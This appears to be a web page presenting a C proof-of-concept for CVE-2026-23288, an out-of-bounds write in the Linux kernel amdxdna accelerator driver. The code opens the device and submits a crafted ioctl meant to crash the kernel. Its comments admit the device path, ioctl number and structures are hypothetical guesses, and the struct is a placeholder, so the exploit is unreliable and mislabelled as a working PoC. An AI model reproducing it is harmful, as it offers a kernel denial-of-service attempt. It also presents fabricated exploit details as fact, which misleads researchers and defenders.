CVE-2026-23288 Linux内核越界写入漏洞

/* * PoC for CVE-2026-23288 * Trigger out-of-bounds memset in Linux kernel accel/amdxdna driver. * Requires access to the amdxdna device interface. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Hypothetical device path and IOCTL definitions based on typical kernel drivers #define AMDXDNA_DEVICE "/dev/amdxdna0" #define AMDXDNA_IOCTL_SUBMIT_CMD 0x8001 struct amdxdna_cmd_header { uint32_t size; uint32_t flags; // ... other header fields ... }; struct amdxdna_cmd { struct amdxdna_cmd_header header; // Payload data }; int main() { int fd; struct amdxdna_cmd cmd; // Open the device fd = open(AMDXDNA_DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open device"); return EXIT_FAILURE; } printf("[+] Opened %s\n", AMDXDNA_DEVICE); // Initialize command with a specific size that triggers the logic flaw // The driver expects a minimum size, but the vulnerable code path // might memset based on a header size before checking the allocated slot size. memset(&cmd, 0, sizeof(cmd)); cmd.header.size = 0x10; // Small size to potentially trigger validation issue // Submit command to kernel printf("[*] Sending malicious command...\n"); if (ioctl(fd, AMDXDNA_IOCTL_SUBMIT_CMD, &cmd) < 0) { perror("IOCTL failed"); close(fd); return EXIT_FAILURE; } printf("[+] Command sent. Check dmesg for kernel OOPS or panic.\n"); close(fd); return EXIT_SUCCESS; }